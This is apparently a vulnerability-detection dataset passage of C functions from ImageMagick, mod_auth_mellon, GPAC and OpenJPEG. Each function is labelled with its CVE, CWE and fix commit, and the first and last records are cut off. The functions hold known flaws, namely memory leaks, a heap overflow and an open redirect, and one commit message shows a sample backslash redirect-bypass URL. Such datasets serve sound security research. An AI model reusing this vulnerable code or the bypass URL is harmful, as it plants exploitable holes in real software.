switch (compression)
{
case FaxCompression:
case Group4Compression:
{
if (LocaleCompare(CCITTParam,"0") == 0)
{
(void) HuffmanEncodeImage(image_info,image,tile_image,
exception);
break;
}
(void) Huffman2DEncodeImage(image_info,image,tile_image,exception);
break;
}
case JPEGCompression:
{
status=InjectImageBlob(image_info,image,tile_image,"jpeg",
exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case JPEG2000Compression:
{
status=InjectImageBlob(image_info,image,tile_image,"jp2",exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case RLECompression:
default:
{
MemoryInfo
*pixel_info;
/*
Allocate pixel array.
*/
length=(size_t) number_pixels;
pixel_info=AcquireVirtualMemory(length,sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
{
tile_image=DestroyImage(tile_image);
ThrowPDFException(ResourceLimitError,"MemoryAllocationFailed");
}
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
/*
Dump runlength encoded pixels.
*/
q=pixels;
for (y=0; y < (ssize_t) tile_image->rows; y++)
{
p=GetVirtualPixels(tile_image,0,y,tile_image->columns,1,
exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) tile_image->columns; x++)
{
*q++=ScaleQuantumToChar(ClampToQuantum(GetPixelLuma(
tile_image,p)));
p+=GetPixelChannels(tile_image);
}
}
#if defined(MAGICKCORE_ZLIB_DELEGATE)
if (compression == ZipCompression)
status=ZLIBEncodeImage(image,length,pixels,exception);
else
#endif
if (compression == LZWCompression)
status=LZWEncodeImage(image,length,pixels,exception);
else
status=PackbitsEncodeImage(image,length,pixels,exception);
pixel_info=RelinquishVirtualMemory(pixel_info);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case NoCompression:
{
/*
Dump uncompressed PseudoColor packets.
*/
Ascii85Initialize(image);
for (y=0; y < (ssize_t) tile_image->rows; y++)
{
p=GetVirtualPixels(tile_image,0,y,tile_image->columns,1,
exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) tile_image->columns; x++)
{
Ascii85Encode(image,ScaleQuantumToChar(ClampToQuantum(
GetPixelLuma(tile_image,p))));
p+=GetPixelChannels(tile_image);
}
}
Ascii85Flush(image);
break;
}
}
}
else
if ((tile_image->storage_class == DirectClass) ||
(tile_image->colors > 256) || (compression == JPEGCompression) ||
(compression == JPEG2000Compression))
switch (compression)
{
case JPEGCompression:
{
status=InjectImageBlob(image_info,image,tile_image,"jpeg",
exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case JPEG2000Compression:
{
status=InjectImageBlob(image_info,image,tile_image,"jp2",exception);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case RLECompression:
default:
{
MemoryInfo
*pixel_info;
/*
Allocate pixel array.
*/
length=(size_t) number_pixels;
length*=tile_image->colorspace == CMYKColorspace ? 4UL : 3UL;
pixel_info=AcquireVirtualMemory(length,4*sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
{
tile_image=DestroyImage(tile_image);
ThrowPDFException(ResourceLimitError,"MemoryAllocationFailed");
}
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
/*
Dump runlength encoded pixels.
*/
q=pixels;
for (y=0; y < (ssize_t) tile_image->rows; y++)
{
p=GetVirtualPixels(tile_image,0,y,tile_image->columns,1,
exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) tile_image->columns; x++)
{
*q++=ScaleQuantumToChar(GetPixelRed(tile_image,p));
*q++=ScaleQuantumToChar(GetPixelGreen(tile_image,p));
*q++=ScaleQuantumToChar(GetPixelBlue(tile_image,p));
if (tile_image->colorspace == CMYKColorspace)
*q++=ScaleQuantumToChar(GetPixelBlack(tile_image,p));
p+=GetPixelChannels(tile_image);
}
}
#if defined(MAGICKCORE_ZLIB_DELEGATE)
if (compression == ZipCompression)
status=ZLIBEncodeImage(image,length,pixels,exception);
else
#endif
if (compression == LZWCompression)
status=LZWEncodeImage(image,length,pixels,exception);
else
status=PackbitsEncodeImage(image,length,pixels,exception);
pixel_info=RelinquishVirtualMemory(pixel_info);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case NoCompression:
{
/*
Dump uncompressed DirectColor packets.
*/
Ascii85Initialize(image);
for (y=0; y < (ssize_t) tile_image->rows; y++)
{
p=GetVirtualPixels(tile_image,0,y,tile_image->columns,1,
exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) tile_image->columns; x++)
{
Ascii85Encode(image,ScaleQuantumToChar(
GetPixelRed(tile_image,p)));
Ascii85Encode(image,ScaleQuantumToChar(
GetPixelGreen(tile_image,p)));
Ascii85Encode(image,ScaleQuantumToChar(
GetPixelBlue(tile_image,p)));
if (image->colorspace == CMYKColorspace)
Ascii85Encode(image,ScaleQuantumToChar(
GetPixelBlack(tile_image,p)));
p+=GetPixelChannels(tile_image);
}
}
Ascii85Flush(image);
break;
}
}
else
{
/*
Dump number of colors and colormap.
*/
switch (compression)
{
case RLECompression:
default:
{
MemoryInfo
*pixel_info;
/*
Allocate pixel array.
*/
length=(size_t) number_pixels;
pixel_info=AcquireVirtualMemory(length,sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
{
tile_image=DestroyImage(tile_image);
ThrowPDFException(ResourceLimitError,
"MemoryAllocationFailed");
}
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
/*
Dump runlength encoded pixels.
*/
q=pixels;
for (y=0; y < (ssize_t) tile_image->rows; y++)
{
p=GetVirtualPixels(tile_image,0,y,tile_image->columns,1,
exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) tile_image->columns; x++)
{
*q++=(unsigned char) GetPixelIndex(tile_image,p);
p+=GetPixelChannels(tile_image);
}
}
#if defined(MAGICKCORE_ZLIB_DELEGATE)
if (compression == ZipCompression)
status=ZLIBEncodeImage(image,length,pixels,exception);
else
#endif
if (compression == LZWCompression)
status=LZWEncodeImage(image,length,pixels,exception);
else
status=PackbitsEncodeImage(image,length,pixels,exception);
pixel_info=RelinquishVirtualMemory(pixel_info);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case NoCompression:
{
/*
Dump uncompressed PseudoColor packets.
*/
Ascii85Initialize(image);
for (y=0; y < (ssize_t) tile_image->rows; y++)
{
p=GetVirtualPixels(tile_image,0,y,tile_image->columns,1,
exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) tile_image->columns; x++)
{
Ascii85Encode(image,(unsigned char)
GetPixelIndex(tile_image,p));
p+=GetPixelChannels(image);
}
}
Ascii85Flush(image);
break;
}
}
}
tile_image=DestroyImage(tile_image);
offset=TellBlob(image)-offset;
(void) WriteBlobString(image,"\nendstream\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write Length object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g\n",(double)
offset);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"endobj\n");
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
if ((image->storage_class == DirectClass) || (image->colors > 256) ||
(compression == FaxCompression) || (compression == Group4Compression))
(void) WriteBlobString(image,">>\n");
else
{
/*
Write Colormap object.
*/
if (compression == NoCompression)
(void) WriteBlobString(image,"/Filter [ /ASCII85Decode ]\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Length %.20g 0 R\n",
(double) object+1);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"stream\n");
offset=TellBlob(image);
if (compression == NoCompression)
Ascii85Initialize(image);
for (i=0; i < (ssize_t) image->colors; i++)
{
if (compression == NoCompression)
{
Ascii85Encode(image,ScaleQuantumToChar(ClampToQuantum(
image->colormap[i].red)));
Ascii85Encode(image,ScaleQuantumToChar(ClampToQuantum(
image->colormap[i].green)));
Ascii85Encode(image,ScaleQuantumToChar(ClampToQuantum(
image->colormap[i].blue)));
continue;
}
(void) WriteBlobByte(image,ScaleQuantumToChar(
ClampToQuantum(image->colormap[i].red)));
(void) WriteBlobByte(image,ScaleQuantumToChar(
ClampToQuantum(image->colormap[i].green)));
(void) WriteBlobByte(image,ScaleQuantumToChar(
ClampToQuantum(image->colormap[i].blue)));
}
if (compression == NoCompression)
Ascii85Flush(image);
offset=TellBlob(image)-offset;
(void) WriteBlobString(image,"\nendstream\n");
}
(void) WriteBlobString(image,"endobj\n");
/*
Write Length object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g\n",(double)
offset);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"endobj\n");
/*
Write softmask object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
if (image->alpha_trait == UndefinedPixelTrait)
(void) WriteBlobString(image,">>\n");
else
{
(void) WriteBlobString(image,"/Type /XObject\n");
(void) WriteBlobString(image,"/Subtype /Image\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Name /Ma%.20g\n",
(double) image->scene);
(void) WriteBlobString(image,buffer);
switch (compression)
{
case NoCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"ASCII85Decode");
break;
}
case LZWCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"LZWDecode");
break;
}
case ZipCompression:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"FlateDecode");
break;
}
default:
{
(void) FormatLocaleString(buffer,MagickPathExtent,CFormat,
"RunLengthDecode");
break;
}
}
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Width %.20g\n",
(double) image->columns);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Height %.20g\n",
(double) image->rows);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"/ColorSpace /DeviceGray\n");
(void) FormatLocaleString(buffer,MagickPathExtent,
"/BitsPerComponent %d\n",(compression == FaxCompression) ||
(compression == Group4Compression) ? 1 : 8);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Length %.20g 0 R\n",
(double) object+1);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"stream\n");
offset=TellBlob(image);
number_pixels=(MagickSizeType) image->columns*image->rows;
switch (compression)
{
case RLECompression:
default:
{
MemoryInfo
*pixel_info;
/*
Allocate pixel array.
*/
length=(size_t) number_pixels;
pixel_info=AcquireVirtualMemory(length,4*sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
{
image=DestroyImage(image);
ThrowPDFException(ResourceLimitError,"MemoryAllocationFailed");
}
pixels=(unsigned char *) GetVirtualMemoryBlob(pixel_info);
/*
Dump Runlength encoded pixels.
*/
q=pixels;
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
*q++=ScaleQuantumToChar(GetPixelAlpha(image,p));
p+=GetPixelChannels(image);
}
}
#if defined(MAGICKCORE_ZLIB_DELEGATE)
if (compression == ZipCompression)
status=ZLIBEncodeImage(image,length,pixels,exception);
else
#endif
if (compression == LZWCompression)
status=LZWEncodeImage(image,length,pixels,exception);
else
status=PackbitsEncodeImage(image,length,pixels,exception);
pixel_info=RelinquishVirtualMemory(pixel_info);
if (status == MagickFalse)
{
(void) CloseBlob(image);
return(MagickFalse);
}
break;
}
case NoCompression:
{
/*
Dump uncompressed PseudoColor packets.
*/
Ascii85Initialize(image);
for (y=0; y < (ssize_t) image->rows; y++)
{
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
Ascii85Encode(image,ScaleQuantumToChar(GetPixelAlpha(image,p)));
p+=GetPixelChannels(image);
}
}
Ascii85Flush(image);
break;
}
}
offset=TellBlob(image)-offset;
(void) WriteBlobString(image,"\nendstream\n");
}
(void) WriteBlobString(image,"endobj\n");
/*
Write Length object.
*/
xref[object++]=TellBlob(image);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g\n",(double)
offset);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"endobj\n");
if (GetNextImageInList(image) == (Image *) NULL)
break;
image=SyncNextImageInList(image);
status=SetImageProgress(image,SaveImagesTag,scene++,imageListLength);
if (status == MagickFalse)
break;
} while (image_info->adjoin != MagickFalse);
/*
Write Metadata object.
*/
xref[object++]=TellBlob(image);
info_id=object;
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g 0 obj\n",(double)
object);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"<<\n");
if (LocaleCompare(image_info->magick,"PDFA") == 0)
(void) FormatLocaleString(buffer,MagickPathExtent,"/Title (%s)\n",
EscapeParenthesis(basename));
else
{
wchar_t
*utf16;
utf16=ConvertUTF8ToUTF16((unsigned char *) basename,&length);
if (utf16 != (wchar_t *) NULL)
{
(void) FormatLocaleString(buffer,MagickPathExtent,"/Title (\xfe\xff");
(void) WriteBlobString(image,buffer);
for (i=0; i < (ssize_t) length; i++)
(void) WriteBlobMSBShort(image,(unsigned short) utf16[i]);
(void) FormatLocaleString(buffer,MagickPathExtent,")\n");
utf16=(wchar_t *) RelinquishMagickMemory(utf16);
}
}
(void) WriteBlobString(image,buffer);
seconds=time((time_t *) NULL);
#if defined(MAGICKCORE_HAVE_LOCALTIME_R)
(void) localtime_r(&seconds,&local_time);
#else
(void) memcpy(&local_time,localtime(&seconds),sizeof(local_time));
#endif
(void) FormatLocaleString(date,MagickPathExtent,"D:%04d%02d%02d%02d%02d%02d",
local_time.tm_year+1900,local_time.tm_mon+1,local_time.tm_mday,
local_time.tm_hour,local_time.tm_min,local_time.tm_sec);
(void) FormatLocaleString(buffer,MagickPathExtent,"/CreationDate (%s)\n",
date);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/ModDate (%s)\n",date);
(void) WriteBlobString(image,buffer);
url=(char *) MagickAuthoritativeURL;
escape=EscapeParenthesis(url);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Producer (%s)\n",escape);
escape=DestroyString(escape);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"endobj\n");
/*
Write Xref object.
*/
offset=TellBlob(image)-xref[0]+
(LocaleCompare(image_info->magick,"PDFA") == 0 ? 6 : 0)+10;
(void) WriteBlobString(image,"xref\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"0 %.20g\n",(double)
object+1);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"0000000000 65535 f \n");
for (i=0; i < (ssize_t) object; i++)
{
(void) FormatLocaleString(buffer,MagickPathExtent,"%010lu 00000 n \n",
(unsigned long) xref[i]);
(void) WriteBlobString(image,buffer);
}
(void) WriteBlobString(image,"trailer\n");
(void) WriteBlobString(image,"<<\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"/Size %.20g\n",(double)
object+1);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Info %.20g 0 R\n",(double)
info_id);
(void) WriteBlobString(image,buffer);
(void) FormatLocaleString(buffer,MagickPathExtent,"/Root %.20g 0 R\n",(double)
root_id);
(void) WriteBlobString(image,buffer);
(void) SignatureImage(image,exception);
(void) FormatLocaleString(buffer,MagickPathExtent,"/ID [<%s> <%s>]\n",
GetImageProperty(image,"signature",exception),
GetImageProperty(image,"signature",exception));
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,">>\n");
(void) WriteBlobString(image,"startxref\n");
(void) FormatLocaleString(buffer,MagickPathExtent,"%.20g\n",(double) offset);
(void) WriteBlobString(image,buffer);
(void) WriteBlobString(image,"%%EOF\n");
xref=(MagickOffsetType *) RelinquishMagickMemory(xref);
(void) CloseBlob(image);
return(MagickTrue);
}
| 40,501,662,541,508,744,000,000,000,000,000,000,000 | pdf.c | 291,286,648,213,977,640,000,000,000,000,000,000,000 | [
"CWE-399"
] | CVE-2019-7397 | In ImageMagick before 7.0.8-25 and GraphicsMagick through 1.3.31, several memory leaks exist in WritePDFImage in coders/pdf.c. | https://nvd.nist.gov/vuln/detail/CVE-2019-7397 |
4,097 | ImageMagick | 8a43abefb38c5e29138e1c9c515b313363541c06 | https://github.com/ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/commit/8a43abefb38c5e29138e1c9c515b313363541c06 | https://github.com/ImageMagick/ImageMagick/issues/1451 | 1 | static size_t WritePSDChannel(const PSDInfo *psd_info,
const ImageInfo *image_info,Image *image,Image *next_image,
const QuantumType quantum_type, unsigned char *compact_pixels,
MagickOffsetType size_offset,const MagickBooleanType separate,
const CompressionType compression,ExceptionInfo *exception)
{
MagickBooleanType
monochrome;
QuantumInfo
*quantum_info;
register const Quantum
*p;
register ssize_t
i;
size_t
count,
length;
ssize_t
y;
unsigned char
*pixels;
#ifdef MAGICKCORE_ZLIB_DELEGATE
#define CHUNK 16384
int
flush,
level;
unsigned char
*compressed_pixels;
z_stream
stream;
compressed_pixels=(unsigned char *) NULL;
flush=Z_NO_FLUSH;
#endif
count=0;
if (separate != MagickFalse)
{
size_offset=TellBlob(image)+2;
count+=WriteCompressionStart(psd_info,image,next_image,compression,1);
}
if (next_image->depth > 8)
next_image->depth=16;
monochrome=IsImageMonochrome(image) && (image->depth == 1) ?
MagickTrue : MagickFalse;
quantum_info=AcquireQuantumInfo(image_info,next_image);
if (quantum_info == (QuantumInfo *) NULL)
return(0);
pixels=(unsigned char *) GetQuantumPixels(quantum_info);
#ifdef MAGICKCORE_ZLIB_DELEGATE
if (compression == ZipCompression)
{
compressed_pixels=(unsigned char *) AcquireQuantumMemory(CHUNK,
sizeof(*compressed_pixels));
if (compressed_pixels == (unsigned char *) NULL)
{
quantum_info=DestroyQuantumInfo(quantum_info);
return(0);
}
memset(&stream,0,sizeof(stream));
stream.data_type=Z_BINARY;
level=Z_DEFAULT_COMPRESSION;
if ((image_info->quality > 0 && image_info->quality < 10))
level=(int) image_info->quality;
if (deflateInit(&stream,level) != Z_OK)
{
quantum_info=DestroyQuantumInfo(quantum_info);
return(0);
}
}
#endif
for (y=0; y < (ssize_t) next_image->rows; y++)
{
p=GetVirtualPixels(next_image,0,y,next_image->columns,1,exception);
if (p == (const Quantum *) NULL)
break;
length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info,
quantum_type,pixels,exception);
if (monochrome != MagickFalse)
for (i=0; i < (ssize_t) length; i++)
pixels[i]=(~pixels[i]);
if (compression == RLECompression)
{
length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels,
exception);
count+=WriteBlob(image,length,compact_pixels);
size_offset+=WritePSDOffset(psd_info,image,length,size_offset);
}
#ifdef MAGICKCORE_ZLIB_DELEGATE
else if (compression == ZipCompression)
{
stream.avail_in=(uInt) length;
stream.next_in=(Bytef *) pixels;
if (y == (ssize_t) next_image->rows-1)
flush=Z_FINISH;
do {
stream.avail_out=(uInt) CHUNK;
stream.next_out=(Bytef *) compressed_pixels;
if (deflate(&stream,flush) == Z_STREAM_ERROR)
break;
length=(size_t) CHUNK-stream.avail_out;
if (length > 0)
count+=WriteBlob(image,length,compressed_pixels);
} while (stream.avail_out == 0);
}
#endif
else
count+=WriteBlob(image,length,pixels);
}
#ifdef MAGICKCORE_ZLIB_DELEGATE
if (compression == ZipCompression)
{
(void) deflateEnd(&stream);
compressed_pixels=(unsigned char *) RelinquishMagickMemory(
compressed_pixels);
}
#endif
quantum_info=DestroyQuantumInfo(quantum_info);
return(count);
}
| 68,733,002,057,457,950,000,000,000,000,000,000,000 | psd.c | 148,851,851,471,348,200,000,000,000,000,000,000,000 | [
"CWE-399"
] | CVE-2019-7395 | In ImageMagick before 7.0.8-25, a memory leak exists in WritePSDChannel in coders/psd.c. | https://nvd.nist.gov/vuln/detail/CVE-2019-7395 |
4,100 | ImageMagick | 1e6a3ace073c9ec9c71e439c111d23c6e66cb6ae | https://github.com/ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/commit/1e6a3ace073c9ec9c71e439c111d23c6e66cb6ae | https://github.com/ImageMagick/ImageMagick/issues/1450 | 1 | static MagickBooleanType DecodeImage(Image *image,unsigned char *luma,
unsigned char *chroma1,unsigned char *chroma2,ExceptionInfo *exception)
{
#define IsSync(sum) ((sum & 0xffffff00UL) == 0xfffffe00UL)
#define PCDGetBits(n) \
{ \
sum=(sum << n) & 0xffffffff; \
bits-=n; \
while (bits <= 24) \
{ \
if (p >= (buffer+0x800)) \
{ \
count=ReadBlob(image,0x800,buffer); \
p=buffer; \
} \
sum|=((unsigned int) (*p) << (24-bits)); \
bits+=8; \
p++; \
} \
}
typedef struct PCDTable
{
unsigned int
length,
sequence;
MagickStatusType
mask;
unsigned char
key;
} PCDTable;
PCDTable
*pcd_table[3];
register ssize_t
i,
j;
register PCDTable
*r;
register unsigned char
*p,
*q;
size_t
bits,
length,
plane,
pcd_length[3],
row,
sum;
ssize_t
count,
quantum;
unsigned char
*buffer;
/*
Initialize Huffman tables.
*/
assert(image != (const Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
assert(luma != (unsigned char *) NULL);
assert(chroma1 != (unsigned char *) NULL);
assert(chroma2 != (unsigned char *) NULL);
buffer=(unsigned char *) AcquireQuantumMemory(0x800,sizeof(*buffer));
if (buffer == (unsigned char *) NULL)
ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed",
image->filename);
sum=0;
bits=32;
p=buffer+0x800;
for (i=0; i < 3; i++)
{
pcd_table[i]=(PCDTable *) NULL;
pcd_length[i]=0;
}
for (i=0; i < (image->columns > 1536 ? 3 : 1); i++)
{
PCDGetBits(8);
length=(sum & 0xff)+1;
pcd_table[i]=(PCDTable *) AcquireQuantumMemory(length,
sizeof(*pcd_table[i]));
if (pcd_table[i] == (PCDTable *) NULL)
{
buffer=(unsigned char *) RelinquishMagickMemory(buffer);
ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed",
image->filename);
}
r=pcd_table[i];
for (j=0; j < (ssize_t) length; j++)
{
PCDGetBits(8);
r->length=(unsigned int) (sum & 0xff)+1;
if (r->length > 16)
{
buffer=(unsigned char *) RelinquishMagickMemory(buffer);
return(MagickFalse);
}
PCDGetBits(16);
r->sequence=(unsigned int) (sum & 0xffff) << 16;
PCDGetBits(8);
r->key=(unsigned char) (sum & 0xff);
r->mask=(~((1U << (32-r->length))-1));
r++;
}
pcd_length[i]=(size_t) length;
}
/*
Search for Sync byte.
*/
for (i=0; i < 1; i++)
PCDGetBits(16);
for (i=0; i < 1; i++)
PCDGetBits(16);
while ((sum & 0x00fff000UL) != 0x00fff000UL)
PCDGetBits(8);
while (IsSync(sum) == 0)
PCDGetBits(1);
/*
Recover the Huffman encoded luminance and chrominance deltas.
*/
count=0;
length=0;
plane=0;
row=0;
q=luma;
for ( ; ; )
{
if (IsSync(sum) != 0)
{
/*
Determine plane and row number.
*/
PCDGetBits(16);
row=((sum >> 9) & 0x1fff);
if (row == image->rows)
break;
PCDGetBits(8);
plane=sum >> 30;
PCDGetBits(16);
switch (plane)
{
case 0:
{
q=luma+row*image->columns;
count=(ssize_t) image->columns;
break;
}
case 2:
{
q=chroma1+(row >> 1)*image->columns;
count=(ssize_t) (image->columns >> 1);
plane--;
break;
}
case 3:
{
q=chroma2+(row >> 1)*image->columns;
count=(ssize_t) (image->columns >> 1);
plane--;
break;
}
default:
{
for (i=0; i < (image->columns > 1536 ? 3 : 1); i++)
pcd_table[i]=(PCDTable *) RelinquishMagickMemory(pcd_table[i]);
buffer=(unsigned char *) RelinquishMagickMemory(buffer);
ThrowBinaryException(CorruptImageError,"CorruptImage",
image->filename);
}
}
length=pcd_length[plane];
continue;
}
/*
Decode luminance or chrominance deltas.
*/
r=pcd_table[plane];
for (i=0; ((i < (ssize_t) length) && ((sum & r->mask) != r->sequence)); i++)
r++;
if ((row > image->rows) || (r == (PCDTable *) NULL))
{
(void) ThrowMagickException(exception,GetMagickModule(),
CorruptImageWarning,"SkipToSyncByte","`%s'",image->filename);
while ((sum & 0x00fff000) != 0x00fff000)
PCDGetBits(8);
while (IsSync(sum) == 0)
PCDGetBits(1);
continue;
}
if (r->key < 128)
quantum=(ssize_t) (*q)+r->key;
else
quantum=(ssize_t) (*q)+r->key-256;
*q=(unsigned char) ((quantum < 0) ? 0 : (quantum > 255) ? 255 : quantum);
q++;
PCDGetBits(r->length);
count--;
}
/*
Relinquish resources.
*/
for (i=0; i < (image->columns > 1536 ? 3 : 1); i++)
pcd_table[i]=(PCDTable *) RelinquishMagickMemory(pcd_table[i]);
buffer=(unsigned char *) RelinquishMagickMemory(buffer);
return(MagickTrue);
}
| 319,777,982,927,308,370,000,000,000,000,000,000,000 | pcd.c | 279,908,488,505,593,460,000,000,000,000,000,000,000 | [
"CWE-399"
] | CVE-2019-7175 | In ImageMagick before 7.0.8-25, some memory leaks exist in DecodeImage in coders/pcd.c. | https://nvd.nist.gov/vuln/detail/CVE-2019-7175 |
4,109 | mod_auth_mellon | 62041428a32de402e0be6ba45fe12df6a83bedb8 | https://github.com/Uninett/mod_auth_mellon | https://github.com/Uninett/mod_auth_mellon/commit/62041428a32de402e0be6ba45fe12df6a83bedb8 | Fix redirect URL validation bypass
It turns out that browsers silently convert backslash characters into
forward slashes, while apr_uri_parse() does not.
This mismatch allows an attacker to bypass the redirect URL validation
by using an URL like:
https://sp.example.org/mellon/logout?ReturnTo=https:%5c%5cmalicious.example.org/
mod_auth_mellon will assume that it is a relative URL and allow the
request to pass through, while the browsers will use it as an absolute
url and redirect to https://malicious.example.org/ .
This patch fixes this issue by rejecting all redirect URLs with
backslashes. | 1 | int am_check_url(request_rec *r, const char *url)
{
const char *i;
for (i = url; *i; i++) {
if (*i >= 0 && *i < ' ') {
/* Deny all control-characters. */
AM_LOG_RERROR(APLOG_MARK, APLOG_ERR, HTTP_BAD_REQUEST, r,
"Control character detected in URL.");
return HTTP_BAD_REQUEST;
}
}
return OK;
}
| 82,672,157,991,462,600,000,000,000,000,000,000,000 | auth_mellon_util.c | 235,649,112,104,693,500,000,000,000,000,000,000,000 | [
"CWE-601"
] | CVE-2019-3877 | A vulnerability was found in mod_auth_mellon before v0.14.2. An open redirect in the logout URL allows requests with backslashes to pass through by assuming that it is a relative URL, while the browsers silently convert backslash characters into forward slashes treating them as an absolute URL. This mismatch allows an attacker to bypass the redirect URL validation logic in apr_uri_parse function. | https://nvd.nist.gov/vuln/detail/CVE-2019-3877 |
4,118 | gpac | d2371b4b204f0a3c0af51ad4e9b491144dd1225c | https://github.com/gpac/gpac | https://github.com/gpac/gpac/commit/d2371b4b204f0a3c0af51ad4e9b491144dd1225c | prevent dref memleak on invalid input (#1183) | 1 | GF_Err dinf_Read(GF_Box *s, GF_BitStream *bs)
{
GF_Err e = gf_isom_box_array_read(s, bs, dinf_AddBox);
if (e) {
return e;
}
if (!((GF_DataInformationBox *)s)->dref) {
GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[iso file] Missing dref box in dinf\n"));
((GF_DataInformationBox *)s)->dref = (GF_DataReferenceBox *)gf_isom_box_new(GF_ISOM_BOX_TYPE_DREF);
}
return GF_OK;
}
| 102,742,711,928,030,080,000,000,000,000,000,000,000 | box_code_base.c | 230,439,071,816,063,260,000,000,000,000,000,000,000 | [
"CWE-400"
] | CVE-2018-21017 | GPAC 0.7.1 has a memory leak in dinf_Read in isomedia/box_code_base.c. | https://nvd.nist.gov/vuln/detail/CVE-2018-21017 |
4,119 | openjpeg | 2e5ab1d9987831c981ff05862e8ccf1381ed58ea | https://github.com/uclouvain/openjpeg | https://github.com/uclouvain/openjpeg/commit/2e5ab1d9987831c981ff05862e8ccf1381ed58ea | color_apply_icc_profile: avoid potential heap buffer overflow
Derived from a patch by Thuan Pham | 1 | void color_apply_icc_profile(opj_image_t *image)
{
cmsHPROFILE in_prof, out_prof;
cmsHTRANSFORM transform;
cmsColorSpaceSignature in_space, out_space;
cmsUInt32Number intent, in_type, out_type;
int *r, *g, *b;
size_t nr_samples, i, max, max_w, max_h;
int prec, ok = 0;
OPJ_COLOR_SPACE new_space;
in_prof = cmsOpenProfileFromMem(image->icc_profile_buf, image->icc_profile_len);
#ifdef DEBUG_PROFILE
FILE *icm = fopen("debug.icm", "wb");
fwrite(image->icc_profile_buf, 1, image->icc_profile_len, icm);
fclose(icm);
#endif
if (in_prof == NULL) {
return;
}
in_space = cmsGetPCS(in_prof);
out_space = cmsGetColorSpace(in_prof);
intent = cmsGetHeaderRenderingIntent(in_prof);
max_w = image->comps[0].w;
max_h = image->comps[0].h;
